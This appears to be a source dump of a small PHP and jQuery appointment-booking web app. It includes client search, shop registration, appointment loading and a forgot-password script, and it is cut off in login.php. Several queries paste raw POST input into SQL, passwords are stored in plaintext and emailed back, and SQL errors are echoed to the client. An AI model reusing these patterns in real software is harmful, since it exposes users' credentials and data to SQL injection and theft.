<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="success-appointment" style="display:none">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div class="form-group" id="error-appointment" style="display:none">
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Nome:</label>
<label id="appointment_name"></label>
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Cognome:</label>
<label id="appointment_surname"></label>
</div>
</div>
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="tipo_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Tipo Attivitá:</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 pull-left">
<input type="text" placeholder="Type the activity to show on the application" name="tipo_attivita" id="tipo_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="seconda_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Seconda linea attivita(facoltativa):</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 nopadding">
<input type="text" placeholder="Second line of description of the activity" name="seconda_attivita" id="seconda_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="appointment_end_date_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Data:</label>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4">
<div class='input-group date' id='datetimepicker1'>
<input type='text' class="form-control" placeholder="" name="appointment_end_date" id="appointment_end_date" />
<span class="input-group-addon">
<i class="glyphicon glyphicon-calendar" style="color:brown"></i>
</span>
</div>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Ora:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<select class="form-control" name="ora1" id="ora1">
<option value="0">00 </option>
<option value="1">01</option>
<option value="2">02</option>
<option value="3">03</option>
<option value="4">04</option>
<option value="5">05</option>
<option value="6">06</option>
<option value="7">07</option>
<option value="8">08</option>
<option value="9">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
</select>
</div>
<label class="col-lg-1 col-md-1 col-sm-1 col-xs-1 control-label">:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 nopadding">
<select class="form-control" name="ora2" id="ora2">
<option value="0">00</option>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
<option value="40">40</option>
<option value="50">50</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Servizio SMS:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<input type="checkbox" id="sms_service" name="sms_service" data-on="on" data-off="off" data-toggle="toggle" data-onstyle="success" data-size="mini" data-style="ios" value="checked">
</div>
</div>
<div class="form-group pull-right" style="margin-right:10px;">
<button id="addappointment" class="btn btn-primary">INSERISCI <br/>APPUNTAMENTO</button>
<button id="addanotherapointment" class="btn btn-primary">INSERISCI UN ALTRO<br/> APPUNTAMENTO</button>
</div>
<input type="hidden" id="appointment_userid" name="appointment_userid"/>
<input type="hidden" id="appointment_hidden_name" name="appointment_hidden_name"/>
<input type="hidden" id="appointment_hidden_surname" name="appointment_hidden_surname"/>
<input type="hidden" id="appointment_telephone" name="appointment_telephone"/>
<input type="hidden" id="appointment_email" name="appointment_email"/>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- /#wrapper -->
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div id="success">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div id="error">
</div>
</div>
<button type="button" id="dismiss_error" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
</div>
</div>
<!-- jQuery -->
<script src="../vendor/jquery/jquery.min.js"></script>
<script src="../vendor/moment/moment.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
<script src="../vendor/bootstrap/js/bootstrap-datetimepicker.min.js"></script>
<!--for bootstrap date time picker-->
<script type="text/javascript">
$(function () {
$('#datetimepicker1').datetimepicker({
format:'YYYY-MM-DD'
});
});
</script>
<script src="../js/bootstrap-toggle.min.js"></script>
<script>
$("form#search").submit(function(){
//check formdata for required fields add appropriate class
var isRequiredFieldBlank=false;
if($("input[name='qrcode']").val()==""){
$("#qrcodegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#qrcodegroup").hasClass("has-error")){
$("#qrcodegroup").removeClass("has-error")
}
}
if(!isRequiredFieldBlank){
var formData = new FormData($(this)[0]);
$.ajax({
url: '../php/search-client.php',
type: 'POST',
data: formData,
async: false,
success: function(data){
console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.OPERATION==0){
var searchresult=finaldata.SEARCH_RESULT;
var userid=searchresult['user_id'];
var name=searchresult['first_name'];
var lastname=searchresult['last_name'];
var mobileno=searchresult['mobile_no'];
var email=searchresult['email_id'];
$('#client_name').val(name);
$('#client_surname').val(lastname);
$('#client_telephone').val(mobileno);
$('#client_email').val(email);
$('#user_id').val(userid);
$('#appointment_name').text(name);
$('#appointment_surname').text(lastname);
$('#appointment_userid').val(userid);
}else{
$("#errormessage").show();
}
},
cache: false,
contentType: false,
processData: false
});
}
//end of submit
return false;
});
</script>
<script>
$('#insert').click(function(){
var name=$('#client_name').val();
var lastname=$('#client_surname').val();
var telephone=$('#client_telephone').val();
var email=$('#client_email').val();
var userid=$('#user_id').val();
var isRequiredFieldBlank=false;
if($("input[name='name']").val()==""){
$("#namegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#namegroup").hasClass("has-error")){
$("#namegroup").removeClass("has-error")
}
}
if($("input[name='surname']").val()==""){
$("#surnamegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#surnamegroup").hasClass("has-error")){
$("#surnamegroup").removeClass("has-error")
}
}
if($("input[name='telephone']").val()==""){
$("#telephonegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#telephonegroup").hasClass("has-error")){
$("#telephonegroup").removeClass("has-error")
}
}
if($("input[name='email']").val()==""){
$("#emailgroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#emailgroup").hasClass("has-error")){
$("#emailgroup").removeClass("has-error")
}
}
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+'Please fill in the required field marked in red'+'</h6>').appendTo('#error');
$("#messagemodal").modal();
if(!isRequiredFieldBlank) {
$.post("../php/add-client.php",
{name:name,
lastname:lastname,
telephone:telephone,
email:email,
user_id:userid,
action:'Insert'},
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
$('#user_id').val('');
$('#client_name').val('');
$('#client_surname').val('');
$('#client_telephone').val('');
$('#client_email').val('');
$(".modal-body #success").show();
$(".modal-body #error").hide();
$(".modal-body #error #reason").remove();
$("#messagemodal").modal();
}else{
var finaldata=JSON.parse(result);
var error_code=finaldata.VALIDATION_ERROR;
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
});
}
})
</script>
<script>
$('#insert-appointment').click(function(){
var name=$('#client_name').val();
var lastname=$('#client_surname').val();
var telephone=$('#client_telephone').val();
var email=$('#client_email').val();
var userid=$('#user_id').val();
$('#appointment_userid').val(userid);
$('#appointment_hidden_name').val(name);
$('#appointment_hidden_surname').val(lastname);
$('#appointment_telephone').val(telephone);
$('#appointment_email').val(email);
$('#appointment_name').text(name);
$('#appointment_surname').text(lastname);
$('#tipo_attivita').val('');
$('#seconda_attivita').val('');
$('#appointment_end_date').val('');
$('#ora1').val("0");
$('#ora2').val("0");
$('#sms_service').bootstrapToggle("on");
});
</script>
<script>
$('#addappointment').click(function(){
var isRequiredFieldBlank=false;
if($("input[name='tipo_attivita']").val()==""){
$("#tipo_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#tipo_attivita_group").hasClass("has-error")){
$("#tipo_attivita_group").removeClass("has-error")
}
}
if($("input[name='seconda_attivita']").val()==""){
$("#seconda_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#seconda_attivita_group").hasClass("has-error")){
$("#seconda_attivita_group").removeClass("has-error")
}
}
if($("input[name='appointment_end_date']").val()==""){
$("#appointment_end_date_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#appointment_end_date_group").hasClass("has-error")){
$("#appointment_end_date_group").removeClass("has-error")
}
}
if(!isRequiredFieldBlank){
var name=$('#appointment_hidden_name').val();
var lastname=$('#appointment_hidden_surname').val();
var telephone=$('#appointment_telephone').val();
var email=$('#appointment_email').val();
var userid=$('#appointment_userid').val();
var firstlineactivity=$('#tipo_attivita').val();
var secondlineactivity=$('#seconda_attivita').val();
var appointmentenddate=$('#appointment_end_date').val();
var ora1=$('#ora1').val();
var ora2=$('#ora2').val();
var sms_service=$('#sms_service').prop('checked');
$.post("../php/insert-appointment.php",
{appointment_hidden_name:name,
appointment_hidden_surname:lastname,
appointment_telephone:telephone,
appointment_email:email,
appointment_userid:userid,
tipo_attivita:firstlineactivity,
seconda_attivita:secondlineactivity,
appointment_end_date:appointmentenddate,
ora1:ora1,
ora2:ora2,
sms_service:sms_service
},
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
var userid=finaldata.USER_ID;
$('#appointment_userid').val(userid);
$('#success-appointment').show();
}else{
var error_code=finaldata.VALIDATION_ERROR;
$('#success-appointment').hide();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error-appointment');
$('#error-appointment').show();
}
});
}
});
</script>
<script>
$('#addanotherapointment').click(function(){
$('#tipo_attivita').val('');
$('#seconda_attivita').val('');
$('#appointment_end_date').val('');
$('#ora1').val("0");
$('#ora2').val("0");
$('#sms_service').val("on");
$('#success-appointment').hide();
$('#error-appointment').hide();
})
</script>
<script>
var ajax_call = function() {
$.ajax({
url: '../php/get-notification-count.php',
type: 'POST',
async: false,
success:function(data){
// console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.COUNT>0){
$('#notification_count').show();
$('#notification_count').text(finaldata.COUNT);
}else{
$('#notification_count').hide();
}
},
cache: false,
contentType: false,
processData: false
});
};
var interval = 1000 * 60 * 1; // where X is your every X minutes
setInterval(ajax_call, interval);
</script>
</body>
</html>
<file_sep>/php/logout.php
<?php
try{
session_start();
$_SESSION['shopid']="";
session_unset();
session_destroy();
header("Location: ../pages/login.html");
}catch(Exception $e){
header("Location: ../pages/login.html");
}
?><file_sep>/php/load-client.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$shop_id = trim($_POST['shop_id']);
$search = trim($_POST['search']);
$searchCriteria = trim($_POST['searchCriteria']);
$searchData = trim($_POST['searchData']);
loadClientDetails($shop_id,$search,$searchCriteria,$searchData);
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function loadClientDetails($shop_id,$search,$searchCriteria,$searchData){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "select ud.user_id , ud.user_first_name , ud.user_last_name ,ud.user_qr_code , usm.is_sms_active from User_Details ud
inner join User_Shop_Map usm on ud.user_id = usm.user_id
and ud.user_status = 'Connected'
and usm.user_active_flag = 'Y'
and usm.shop_id = $shop_id";
if( $search ){
if( $searchCriteria == 'F'){
$sql = "select ud.user_id , ud.user_first_name , ud.user_last_name , ud.user_qr_code , usm.is_sms_active from User_Details ud
inner join User_Shop_Map usm on ud.user_id = usm.user_id
and ud.user_status = 'Connected'
and usm.user_active_flag = 'Y'
and usm.shop_id = $shop_id
and ud.user_first_name like '%$searchData%'";
}
else{
$sql = "select ud.user_id , ud.user_first_name , ud.user_last_name , ud.user_qr_code , usm.is_sms_active from User_Details ud
inner join User_Shop_Map usm on ud.user_id = usm.user_id
and ud.user_status = 'Connected'
and usm.user_active_flag = 'Y'
and usm.shop_id = $shop_id
and ud.user_last_name like '%$searchData%'";
}
}
$result = mysqli_query($conn,$sql);
$client_details = array();
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
$client_details[] = array( 'is_sms_active' => $row['is_sms_active'] , 'user_qr_code' => $row['user_qr_code'] , 'user_first_name' => $row['user_first_name'] , 'user_last_name' => $row['user_last_name'] , 'user_id' => $row['user_id']);
}
}
mysqli_close($conn);
echo json_encode($client_details);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/add-shop.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
$shop_name=stripslashes(htmlspecialchars(trim($_POST['shop_name'])));
$shop_name_2=stripslashes(htmlspecialchars(trim($_POST['shop_name_2'])));
$address=stripslashes(htmlspecialchars(trim($_POST['address'])));
$city=stripslashes(htmlspecialchars(trim($_POST['city'])));
$phone=stripslashes(htmlspecialchars(trim($_POST['phone'])));
$webpage=stripslashes(htmlspecialchars(trim($_POST['webpage'])));
$facebook_page=stripslashes(htmlspecialchars(trim($_POST['facebook_page'])));
$open_hours=stripslashes(htmlspecialchars(trim($_POST['open_hours'])));
$open_hours_second_line=stripslashes(htmlspecialchars(trim($_POST['open_hours_second_line'])));
$doctor_id=stripslashes(htmlspecialchars(trim($_POST['doctor_id'])));
$account_type="";
if(isset($_POST['account_type'])){
$account_type=stripslashes(htmlspecialchars(trim($_POST['account_type'])));
}
$sms=stripslashes(htmlspecialchars(trim($_POST['sms'])));
//form related validations
if(empty($username)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","username",$validation_msg);
throw new Exception($final_message);
}
if(empty($password)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","password",$validation_msg);
throw new Exception($final_message);
}
if(empty($city)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","city",$validation_msg);
throw new Exception($final_message);
}
if(empty($address)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","address",$validation_msg);
throw new Exception($final_message);
}
if(empty($shop_name)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","shop_name",$validation_msg);
throw new Exception($final_message);
}
//checking if field value length is grater than db supported
if(strlen($username)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","username",$validation);
throw new Exception($final_message);
}
if(strlen($password)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","password",$validation);
throw new Exception($final_message);
}
if(strlen($shop_name)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","shop_name",$validation);
throw new Exception($final_message);
}
if(strlen($shop_name_2)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","shop_name_2",$validation);
throw new Exception($final_message);
}
if(strlen($address)>1000){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","address",$validation);
throw new Exception($final_message);
}
if(strlen($city)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","city",$validation);
throw new Exception($final_message);
}
if(strlen($phone)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","phone",$validation);
throw new Exception($final_message);
}
if(strlen($webpage)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","webpage",$validation);
throw new Exception($final_message);
}
if(strlen($facebook_page)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","facebook page",$validation);
throw new Exception($final_message);
}
if(strlen($open_hours)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours",$validation);
throw new Exception($final_message);
}
if(strlen($open_hours_second_line)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours second line",$validation);
throw new Exception($final_message);
}
if(strlen($account_type)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","account type",$validation);
throw new Exception($final_message);
}
//checking supplied value in sms field is neumeric
if(!empty($sms) && !preg_match('/^[0-9]+$/',$sms)){
$validation=NEUMERIC_VALUE_EXPECTED;
$final_message=str_replace("{1}","sms",$validation);
throw new Exception($final_message);
}
//checking webpage value entered is valid or not
if (!empty($webpage) && !preg_match("/(?:http|https)?(?:\:\/\/)?(?:www.)?(([A-Za-z0-9-]+\.)*[A-Za-z0-9-]+\.[A-Za-z]+)(?:\/.*)?/im",$webpage)) {
throw new Exception(WEB_URL_NOTVALID);
}
//checking facebook url entered is valid or not
if(!empty($facebook_page) && !preg_match("/^(https?:\/\/)?(www\.)?facebook.com\/[a-zA-Z0-9(\.\?)?]/", $facebook_page)) {
throw new Exception(FB_URL_NOTVALID);
}
//checking if phone no entered is valid or not
if(!empty($phone)
&& !preg_match('/^[+0-9]+$/',$phone)){
throw new Exception(PHONE_SUPPLIED_NOT_VALID);
}
//file related validations
$filename=$_FILES["shop_photo"]["name"];
if(!empty($filename)){
$imageFileType = pathinfo($filename,PATHINFO_EXTENSION);
$checkimage = getimagesize($_FILES["shop_photo"]["tmp_name"]);
$allowedtypes=array(IMG_GIF,IMG_JPEG,IMG_PNG);
//echo var_dump($checkimage);
if(!in_array($checkimage[2],$allowedtypes)){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($imageFileType != "gif" && $imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "png"){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($_FILES["shop_photo"]["size"]>500000) {
throw new Exception(NOT_PERMITTED_FILE_SIZE);
}
}
//checking if username is already present
$checkuser=isUserAlreadyRegistered($username,DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
//echo $checkuser;
if($checkuser){
throw new Exception(USERNAME_ALREADY_PRESENT);
} else{
//insert user data and upload file in server.
$targetfile="";
if(!empty($filename)){
$uploadfolderbasefilename="{$_SERVER['DOCUMENT_ROOT']}/shopapp/upload/$username/";
if(!file_exists($uploadfolderbasefilename)){
mkdir($uploadfolderbasefilename);
}
$targetfile=$uploadfolderbasefilename.basename($_FILES["shop_photo"]["name"]);
if(file_exists($targetfile)) {
throw new Exception(FILE_EXISTS);
}
$checkupload=move_uploaded_file($_FILES["shop_photo"]["tmp_name"], $targetfile);
if(!$checkupload){
throw new Exception(UPLOAD_FAIL);
}
}
insertShopData($username,$password,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$targetfile,$doctor_id);
echo json_encode(['OPERATION'=>0,'IMAGE_URL'=>$targetfile,'VALIDATION_ERROR'=>'NA']);
}
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'IMAGE_URL'=>'NA','VALIDATION_ERROR'=>$e->getMessage()]);
}
function isUserAlreadyRegistered($username,$servername,$db_username,$db_password,$db){
try{
$isuserpresent=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) count_user from $dbname.Login x where x.Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
if($row['count_user'] >0){
$isuserpresent=true;
}
}
mysqli_close($conn);
return $isuserpresent;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertShopData($username,$password,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$image_url,$doctor_id){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.Login (Login_Username,Login_Password,Login_Mobile_No,Login_Type,Client_Login_Type ) values('$username','$password','NA','NA','SHOP')";
$result=mysqli_query($conn,$sql);
if($result){
$loginId=selectLogInIdforSuppliedUsername($username,$conn,$dbname);
insertShopDetails($loginId,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$image_url,$conn,$dbname) ;
$shopId=selectShopId($loginId,$conn,$dbname);
//insert into SMS_TABLE and Shop_notify_settings
insertIntoSMSTable($shopId,$sms,$conn,$dbname);
insertShopNotificationSettings($shopId,$conn,$dbname);
insertShopDoctorAssociationData($shopId,$doctor_id,$conn,$dbname);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertShopDoctorAssociationData($shopId,$doctor_id,$conn,$dbname){
try{
$sql="insert into $dbname.Shop_Doc_Map (doc_id,shop_id,shop_doc_link_flag)
values($doctor_id,$shopId,'Y')";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
function selectLogInIdforSuppliedUsername($username,$conn,$dbname){
try{
$sql="select Login_ID from $dbname.Login where Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
if(mysqli_num_rows($result)>0){
$row=mysqli_fetch_array($result);
$login_id=$row['Login_ID'];
return $login_id;
}
}catch(Exception $e){
throw $e;
}
}
function insertShopDetails($loginId,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$image_url,$conn,$dbname){
try{
$sms_status="Active";
$sql="insert into $dbname.Shop_Details (Shop_Login_ID,Shop_Name1,Shop_Name2,Shop_Address,Shop_City,Shop_Phone1,Shop_Open_Hrs,Shop_Open_Dt,Shop_Web_Page,Shop_FB_Page,Shop_Type,Shop_img_url,Shop_Status) values($loginId,'$shop_name','$shop_name_2','$address','$city','$phone','$open_hours','$open_hours_second_line','$webpage','$facebook_page','$account_type','$image_url','$sms_status')";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
function selectShopId($loginId,$conn,$dbname){
try{
$sql="select Shop_ID from $dbname.Shop_Details where Shop_Login_ID =$loginId";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
if(mysqli_num_rows($result)>0){
$row=mysqli_fetch_array($result);
$shop_id=$row['Shop_ID'];
return $shop_id;
}
}catch(Exception $e){
throw $e;
}
}
function insertIntoSMSTable($shopId,$sms,$conn,$dbname){
try{
if(empty($sms)) {
$sms=0;
}
$sql="insert into $dbname.SMS_Table (Shop_ID,SMS_Limit,SMS_Current) values($shopId,$sms,0)";
// echo $sql;
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
} catch(Exception $e){
throw $e;
}
}
function insertShopNotificationSettings($shopId,$conn,$dbname){
try{
$sql="insert into $dbname.Shop_notify_settings (Shop_ID,Push_first_notify_hr,Push_second_notify_hr,Sms_notify_hr)
values($shopId,24,0,2)";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/load-client_appoinment.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$shop_id = trim($_POST['shop_id']);
$user_id = trim($_POST['user_id']);
loadClientAppoinments($shop_id,$user_id);
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function loadClientAppoinments($shop_id,$user_id){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "select Appointment_ID , user_apnt_dt , user_apnt_time , is_sms_active
from Client_Shop_Apnt where user_id = $user_id and shop_id = $shop_id and Date( user_apnt_dt ) >= Date( now() )
and user_apnt_status in ( 'BOOKED' , 'CONFIRMED' ) order by user_apnt_dt , user_apnt_time";
$result = mysqli_query($conn,$sql);
$client_details = array();
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
$client_details[] = array( 'Appointment_ID' => $row['Appointment_ID'] , 'user_apnt_dt' => $row['user_apnt_dt'] , 'user_apnt_time' => $row['user_apnt_time'], 'is_sms_active' => $row['is_sms_active']);
}
}
mysqli_close($conn);
echo json_encode($client_details);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/forgot-password.php
<?php
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$username=stripslashes(htmlspecialchars(trim($_POST['username_forgetpassword'])));
$email=stripslashes(htmlspecialchars(trim($_POST['email_forgetpassword'])));
if(empty($username)){
$message=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","username",$message);
throw new Exception($final_message);
}
if(empty($email)){
$message=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","email",$email);
throw new Exception($final_message);
}
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
throw new Exception(EMAIL_NOT_VALID);
}
$userdetail=checkifUserIsRegistered($username);
$usernamedb=$userdetail['username'];
$passworddb=$userdetail['<PASSWORD>'];
$to = $email;
$email_subject = "Forgot username,password-Dappoint Admin";
$email_body = "You are recieving this e-mail as you have requested username and password details for website www.dappoint.com .\n\n"."Please find below your username and password registered with our website.\n\n Username:$usernamedb\n\n Password:$<PASSWORD> \n\n Please use your above mentioned credentials to log into website www.dappoint.com";
$headers = "From:<EMAIL> \n";
$mailsendstatus=mail($to,$email_subject,$email_body,$headers);
if(!$mailsendstatus){
throw new Exception(MAIL_NOT_SENT_SUCCESSFULLY);
}
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function checkifUserIsRegistered($username){
try{
$dbname=DATABASE_NAME;
$userdetail=array();
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.Login_Username username,x.Login_Password password from $dbname.Login x where x.Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$userdetail['username']=$row['username'];
$userdetail['password']=$row['<PASSWORD>'];
}else{
throw new Exception(USER_NOT_REGISTERED);
}
mysqli_close($conn);
return $userdetail;
}catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/login.php
<?php
if(!session_id()){
session_start();
}
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
if(empty($username)){
$message=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","username",$message);
throw new Exception($final_message);
}
if(empty($password)){
$message=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","password",$message);
throw new Exception($final_message);
}
checkIfUserIsValid($username,$password);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function getShopId($username,$conn,$dbname){
try{
